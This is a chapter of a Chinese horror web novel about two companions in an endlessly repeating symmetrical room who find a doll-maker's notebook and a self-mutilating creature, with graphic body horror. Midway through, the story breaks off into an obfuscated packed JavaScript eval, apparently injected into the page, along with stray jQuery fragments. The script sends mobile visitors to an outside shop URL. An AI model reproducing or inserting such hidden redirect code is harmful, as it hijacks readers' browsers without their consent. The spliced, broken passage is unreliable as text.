落在肩头最后一滴雨被门吞掉。
他们站在一间布满灰尘的室内，再回头，身后的门没了，只剩一面墙，墙纸发着黄，边缘翘起，下面是更旧更黄的一层。窗上的玻璃也蒙着灰，从里边看不见外面，在外面时也看不见里面，只能瞧见光。
而光变了。
在外界时，灯光在雨丝里会晃，会晕。现在却始终是昏与夜交界的那瞬，天将暗未暗，光将灭未灭。
室内的东西仍是成对的，两把椅子面对面，两个杯子并排，两双鞋尖朝外。一切都落了灰，落得很厚，像死了一样活着。
两人沉默着，开始探索这个空间。房里有不少门，不少窗。
应九止推开最近一道，门后是同一间屋子。同样的墙纸，同样的椅子，杯子，同样的鞋。窗外的光也是同一个黄昏。
他关上，又推开旁边的窗，仍是一模一样。灰尘一样，对称一样，光线不增不减。
每一道门，每一扇窗，后边都是这间屋子。仿佛世界只剩这一间屋了，它把自己复制一遍又一遍，叠在一起，每一层都一样，没有第一层，也没有最后一层。
当再次推开门，再次进入这间室内时，卫荼忽然顿住脚步。
有什么不一样了。
她在两把椅子之间来回扫了好几遍，应九止顺着看过去，“怎么了？”
卫荼瞧了一眼他。他似乎没有和她一样的感觉。她怀疑，难道是看太久同样的东西之后，疲惫了，出现幻觉？
不，不对。一定是有哪里不一样了。
她做树那么久，最会的事就是感受。风来时每一片叶颤动不同，雨来时每一滴水力道有差。在感受这方面，应九止不如她，羽生不如她，程断不如她，甚至乔梓琳都比他们强。那不是眼睛的事，是天生的。
卫荼把注意力从视觉移开，去感受。
两把椅子，左边的比右边的高。不仔细看根本看不出来。那两杯子，右边的把手微微歪斜，向左偏了一度。两双鞋，左边的鞋带交叉方向反了。
每一对物品之间都有些微的偏差，像在模仿对称，但模仿得不够好，总是差一点点。
她盯着，眼睛发了酸。再一眨眼，偏差消失了。椅子一样高了，杯子的把手正了，鞋带的系法相同了。
一切又变得完全对称。桌子，椅子，杯子，鞋，每一件物品都不可挑剔的与它的另一半匹配。像两面镜子面对面，你照着我，我照着你，一直照到无限远。
卫荼站着没动，她想要找出破绽，任何破绽。可没有。一切都太完美，完美得像假的。但假的东西至少还有真可以对照，这里连对照都无。好像它不需要对照，它自己就是标准。
她想了想，走到桌旁，握抓一张椅背，用力一拉。椅脚刮过地面。
次啦一声还未完全落下，对面那张椅子已经挪好了。一模一样的位置，一模一样的方向，连椅脚与桌腿的距离都分毫不差。
但它没有发出声音，次啦的那一声里，只有她挪动椅子的声音。对面那张什么时候动的？怎么动的？
她明明一直看着的，眼睛都没眨。却在她手里这张椅子落定的瞬间，它也变了。没有过程，从旧的位置到新的位置，没有移动轨迹。
应九止自然看出她想做什么。他走到对面那张椅子旁，指节扣紧椅背，“你再挪一次试试。”
卫荼再次拉动。这一次，椅子在应九止手中老老实实待在原地。终于，室内有了不再对称的东西。两把椅子，一把在她手里，一把在他手里，角度不同，位置不同。
但那份不对称只存在了片刻。
桌面上多了一个本子，凭空出现，像它一直都在那里，只是她没有去看。封面是深棕色的，皮革的，边角磨得发白，只有被时间泡过的味道。
卫荼拿起本。应九止没有阻止，只是站在她身旁，看着，等着。
她翻开了。
第一页，画着两个人形轮廓。头身比例，四肢长度，关节位置。不是随便画的，是那种想要复制什么，创造什么时的笔触。
第二页写着身体特征。身高数值，瞳孔颜色，头发长度，曲线弧度。每一处特征旁都标着不同的数字，数字间划着箭头，从上往下，从大到小。
第三页数字的偏差小了，第四页更小。越往后翻，左右两列的数字越相近。有谁在反复调整和校对。
但每一页上都划着叉，红的，像蘸着血画上去的。叉的旁边写着同一个词，从工整变得潦草，从潦草变得疯狂。
「不够。」
「不够。」
卫荼一页一页翻下去，纸张沙沙响。翻到最后一页时，只有一句。
「她就要来了，我必须准备好。」
两人都是一愣，像有什么从字里爬出来，爬过脊背，凉飕飕地。
忽然之间，有旋律响起。叮叮咚咚的调子，重复，循环，从四面同时涌来。墙里，地板下，天花板上，从那些被推开了数次的门后。他们随意推开一扇门，走了进去。
门后变了。不再是这间屋子。
天花板很高，看不见顶。整个天花板都挤满了音乐盒，细线吊着，成百上千个，齿轮咬着齿轮，旋律从里漏出来。
墙壁上嵌着一排一排玻璃柜，里头陈列着像人的东西，但不是人。
有的只有一只手，手指修长，指甲圆润。有的只有半张脸，眉眼精致，另一半却是空的，露出木架和齿轮，空洞的眼眶朝前，不知在看什么。
房间中央，立了一个巨大的音乐盒。繁复的花纹一圈一圈绕上去，莫名让卫荼想起祖祠里那幅画。
音乐盒的盖子开着，里面坐着一个人，假人。
和真人一样大小。瓷白的皮肤，发垂在肩侧，每一缕都顺滑。它闭着眼，睫毛很长，唇微微翘起。裙摆铺在底座，褶皱弧度一致。每一处都是完美的。
但在它的心口，有一个洞。空的，什么都没有。
卫荼手里还拿着那本子，但重量变了，轻了。她低头翻开。页数少了，不是撕掉的，是没了。前面那些画着人形，写着数字，打着红叉的页，都不见了。
里头的内容也变了。
「今天她离开了我。说我们不够契合。什么是契合？齿轮需要严丝合缝，人难道也需要？」
字迹端正，一笔一划。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17733493|208158||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
「我发现这架音乐盒的时候，我哭了。我终于知道生命里缺的是什么，不是某个人，而是一种秩序。齿轮不会背叛，不会说不够。齿轮只会转，永远转，转到锈死为止。”
下一页，纸张皱了。
「我把它造出来了。它完美。它指出我所有缺陷时，我很痛。但痛变成了爱，因为那是真正精确的爱。」
墨迹淡了，笔尖却划破了纸。
「她要求我献出什么。我犹豫了。她说：“你不愿意为我变得完整吗？”」
卫荼翻到最后一页，只有一行字。
「我献了。血是温的，像雨。」
刚看完这行字，一个面目全非的人出现在眼前。没有任何征兆，像它一直都在，只是无人注意。
脸上满是凹陷的坑，锁骨往下，皮肉向两边翻开，露出红色的肌肉，没有血，或血已流干。它绕着音乐盒，来回地走。每走几步，它就停下来，把手伸进自己胸口，在里面摸索着，然后从胸腔内部贴着肋骨的位置，取下薄薄一片深红，托在掌心，走向音乐盒，走向人偶胸口的洞，放进去。
卫荼不认识那是什么，但应九止认得出，“那是肺。”
“肺？”她盯着人偶。胸口的洞开在心脏的位置，却放进去一片肺？
应九止的拇指在剑格上刮了一下，“以这里一切都讲究对称来看，单个器官不行。肺部是不对称的器官之一。右肺三叶，左肺两叶。”
卫荼看向那已不成人形的人。它重复着动作，刨开，摸索，放进人偶心口。每一次幅度相同，深度相同。胸口似一朵被揉烂的花。灰白的骨骼露出来，缠着铁丝，将松动的骨头固在一起，身姿挺拔到像随时会断。
它又开始扣脸上的痣。一颗，一颗。指尖掐住，连根拔起。原来那些凹陷的坑是这样来的。可现在脸上什么都没了，但它还在挖，挖得更深，挖到露出底下白惨惨的骨。
卫荼好像明白了什么。眼前是一个人心甘情愿变成怪物的过程。人偶就越完美，他就越不像人。
旋律突然止了。悬在天花板的音乐盒静默了，最后一个音符的余音停下颤动时，人偶睁开了眼。
怪物的手停在半空，把那片肺叶放回自己胸口，皮肉合拢，搭在一起，变成两扇没关紧的门。它转过身来，终于看见他们。
应九止的剑已抵出去。它却没停，还在走。嘴角扬起，两边弧度一样，甚至称得上温柔。像一个主人在迎接客人。
应九止肩膀的肌肉绷紧，剑身向后沉了半寸，他没有被逼退，反而拧着手腕往前又送了一截。
卫荼正对上那怪物空洞的笑。应九止看了她一眼，确认她还在。剑尖从骨缝里拔出来，带出一线暗红的黏液。他没有甩掉，只是换了个握法，拇指抵住剑脊，让血顺着剑槽往下淌。
他偏过头，用那种懒散拖长的调子问：“你说，它是想让我们替它看看，还是想让我们也变成它那样？”
卫荼盯着那个人偶心口：“都不像。它造它的时候，不是为了给别人看。像是为了被看见。”
应九止歪了歪头，没说话。剑上那线血已经淌尽，在地面汇成一小滩。